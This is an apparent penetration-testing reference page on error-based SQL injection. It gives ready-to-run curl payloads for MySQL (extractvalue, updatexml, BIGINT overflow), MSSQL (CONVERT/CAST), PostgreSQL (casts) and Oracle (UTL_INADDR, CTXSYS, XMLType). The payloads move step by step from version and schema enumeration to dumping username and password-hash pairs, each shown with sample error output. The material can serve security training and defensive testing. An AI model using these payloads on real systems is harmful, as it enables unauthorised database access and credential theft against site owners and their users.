# Error-Based SQLi

> Exploit SQL error messages to extract database information by injecting functions that force verbose errors revealing schema, tables, and data.

- **URL:** https://hackindex.io/services/web/exploitation/sql-injection/error-based-sqli
- **Path:** HTTP/HTTPS > Exploitation > SQL Injection Exploitation
- **Up:** [SQL Injection Exploitation](https://hackindex.io/services/web/exploitation/sql-injection.md)
- **Published:** 2026-09-13
- **Updated:** 2026-09-13

Error-based SQL injection extracts data by triggering database errors that include query results in the error message. This works when the application displays database error messages in HTTP responses. Unlike [UNION-based injection](https://hackindex.io/services/web/exploitation/sql-injection/union-based-sqli), it does not require output to be reflected in the page body, only that raw error messages are visible. See the [SQL injection hub](https://hackindex.io/services/web/exploitation/sql-injection) for technique selection guidance. Each request leaks one value from the database through a deliberately malformed expression.

- **Trigger a type conversion or function error** that forces the database to evaluate a subquery and include the result in the error output.
- **Read the extracted value** directly from the error message in the HTTP response.
- **Iterate through rows** using LIMIT/OFFSET or NOT IN filters to extract one value per request.

## MySQL Error-Based Extraction

MySQL offers several functions that produce errors containing evaluated expressions. The two most reliable are `extractvalue()` and `updatexml()`, both of which trigger XPATH syntax errors that include the result of a subquery. These work on MySQL 5.1+ and are not blocked by most WAFs since they use standard XML functions.

### extractvalue() Technique

The `extractvalue()` function expects valid XPATH as its second argument. Passing a subquery result prefixed with `~` or `0x7e` produces an XPATH syntax error that includes the evaluated value. The output is limited to 32 characters per error.

**Extract database version**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,version()))-- -"
# XPATH syntax error: '~5.7.33-0ubuntu0.18.04.1'
```

**Extract current database name**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,database()))-- -"
# XPATH syntax error: '~webapp'
```

**Enumerate database names**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT group_concat(schema_name) FROM information_schema.schemata)))-- -"
# XPATH syntax error: '~information_schema,webapp,mysql'
```

### updatexml() Technique

`updatexml()` works the same way. It takes three arguments: an XML fragment, an XPATH expression, and a replacement value. Injecting an invalid XPATH in the second argument leaks the evaluated result. Same 32-character output limit applies.

**Extract table names**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND updatexml(1,concat(0x7e,(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema='webapp')),1)-- -"
# XPATH syntax error: '~users,products,orders,sessions'
```

**Extract column names from users table**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND updatexml(1,concat(0x7e,(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='users')),1)-- -"
# XPATH syntax error: '~id,username,password,email,role'
```

**Dump credentials row by row**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT concat(username,':',password) FROM webapp.users LIMIT 0,1)))-- -"
# XPATH syntax error: '~admin:5f4dcc3b5aa765d61d8327deb882'
```

The 32-character limit truncates longer values. For MD5 hashes (32 chars), the tilde prefix causes truncation. Use `SUBSTRING()` to extract in chunks:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND extractvalue(1,concat(0x7e,(SELECT SUBSTRING(password,20,32) FROM webapp.users LIMIT 0,1)))-- -"
# XPATH syntax error: '~d61d8327deb882cf99'
```

### BIGINT Overflow Technique

On MySQL 5.5.5 through 5.5.52, integer overflow errors can leak data. The `~0` value is the maximum unsigned BIGINT. Adding to it causes an overflow, and when the overflowed expression includes a subquery, the error contains the result. This technique was patched in later MySQL versions and does not work on MariaDB.

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND (SELECT 1 FROM (SELECT ~0 ^ (SELECT version()))a)-- -"
# BIGINT UNSIGNED value is out of range in '(~(0) ^ '5.7.33-0ubuntu0')'
```

## MSSQL Error-Based Extraction

MSSQL produces verbose type conversion errors when `CONVERT()` or `CAST()` attempts to convert a string to an incompatible type. Force a string-to-integer conversion on a subquery result and the error message includes the full string value. No character limit on the error output.

**Extract version**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,@@version)--"
# Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2019 (RTM) - 15.0.2000.5' to data type int.
```

**Extract current database and user**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,db_name())--"
# Conversion failed when converting the nvarchar value 'webapp' to data type int.
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,SYSTEM_USER)--"
# Conversion failed when converting the nvarchar value 'sa' to data type int.
```

**Enumerate databases**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,(SELECT TOP 1 name FROM master.dbo.sysdatabases WHERE name NOT IN ('master','tempdb','model','msdb')))--"
# Conversion failed when converting the nvarchar value 'webapp' to data type int.
```

**Extract table names**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables WHERE table_catalog='webapp'))--"
# Conversion failed when converting the nvarchar value 'users' to data type int.
```

**Extract credentials**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CONVERT(int,(SELECT TOP 1 username+':'+password FROM webapp.dbo.users))--"
# Conversion failed when converting the nvarchar value 'admin:5f4dcc3b5aa765d61d8327deb882cf99' to data type int.
```

Iterate through rows by adding `WHERE username NOT IN ('admin')` to exclude previously extracted values. `CAST()` works identically to `CONVERT()` for this purpose:

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST((SELECT TOP 1 username+':'+password FROM webapp.dbo.users WHERE username NOT IN ('admin')) AS int)--"
# Conversion failed when converting the nvarchar value 'editor:8d3533d75ae2c3966d7e0d4fcc69216b' to data type int.
```

## PostgreSQL Error-Based Extraction

PostgreSQL raises type errors when casting a string to an incompatible type. Use `CAST()` or the shorthand `::int` operator to force a string-to-integer conversion. The error message includes the original string value.

**Extract version**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST(version() AS int)--"
# ERROR:  invalid input syntax for type integer: "PostgreSQL 14.5 on x86_64-pc-linux-gnu"
```

**Extract current database and user**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST(current_database() AS int)--"
# ERROR:  invalid input syntax for type integer: "webapp"
```

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST(current_user AS int)--"
# ERROR:  invalid input syntax for type integer: "postgres"
```

**Extract table names**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST((SELECT string_agg(tablename,',') FROM pg_tables WHERE schemaname='public') AS int)--"
# ERROR:  invalid input syntax for type integer: "users,sessions,orders,api_keys"
```

**Extract credentials**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CAST((SELECT username||':'||password FROM users LIMIT 1) AS int)--"
# ERROR:  invalid input syntax for type integer: "admin:5f4dcc3b5aa765d61d8327deb882cf99"
```

The shorthand `::int` cast operator works the same way and is shorter in payloads:

```sql
-- Shorthand cast syntax
id=1 AND 1=(version()::int)--
id=1 AND 1=((SELECT username||':'||password FROM users LIMIT 1)::int)--
```

## Oracle Error-Based Extraction

Oracle does not have a direct type-coercion error leak like MSSQL or PostgreSQL. Instead, abuse XML and network functions that include evaluated expressions in their error messages.

### UTL_INADDR.GET_HOST_NAME()

This function attempts to resolve a hostname. When the input is not a valid hostname, the error includes the evaluated expression. Requires the `UTL_INADDR` package to be accessible by the database user (it is by default in older Oracle versions but restricted in 11g+).

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=UTL_INADDR.GET_HOST_NAME((SELECT banner FROM v\$version WHERE ROWNUM=1))--"
# ORA-29257: host Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 unknown
```

### CTXSYS.DRITHSX.SN()

The Oracle Text function `CTXSYS.DRITHSX.SN()` throws an error that includes the first argument value. Requires the Oracle Text component to be installed (common in default installations).

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=CTXSYS.DRITHSX.SN(1,(SELECT banner FROM v\$version WHERE ROWNUM=1))--"
# ORA-20000: Oracle Text error: DRG-11701: thesaurus Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 does not exist
```

### XMLType() Errors

The `XMLType()` constructor raises an error when the input is not valid XML. Prepending `<` to the subquery result creates invalid XML, and the error includes the evaluated string. This is the most reliable Oracle error-based technique and works without special package permissions.

**Extract version**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=(SELECT XMLType('<:'||(SELECT banner FROM v\$version WHERE ROWNUM=1)) FROM dual)--"
# ORA-31011: XML parsing failed
# LPX-00110: Warning: invalid QName ":Oracle Database 19c Enterprise Edition"
```

**Extract table names**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=(SELECT XMLType('<:'||(SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM all_tables WHERE owner='WEBAPP')) FROM dual)--"
# ORA-31011: XML parsing failed
# LPX-00110: Warning: invalid QName ":API_KEYS,ORDERS,SESSIONS,USERS"
```

**Extract credentials**

```bash
curl -sk "http://$TARGET_IP:$PORT/index.php?id=1 AND 1=(SELECT XMLType('<:'||(SELECT username||':'||password FROM WEBAPP.USERS WHERE ROWNUM=1)) FROM dual)--"
# ORA-31011: XML parsing failed
# LPX-00110: Warning: invalid QName ":admin:5f4dcc3b5aa765d61d8327deb882cf99"
```

Oracle table and column names are uppercase by default. If queries return no results, try uppercase object names. `LISTAGG()` has a 4000-byte limit. For long result sets, use `WHERE ROWNUM` filtering to iterate row by row.

## References

- [PortSwigger: Blind SQLi with Conditional Errors](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors) - Lab exercise for error-based blind SQL injection techniques.
- [MySQL SQL Injection Cheat Sheet](https://perspectiverisk.com/mysql-sql-injection-practical-cheat-sheet/) - Practical MySQL injection cheat sheet covering error-based extraction techniques.
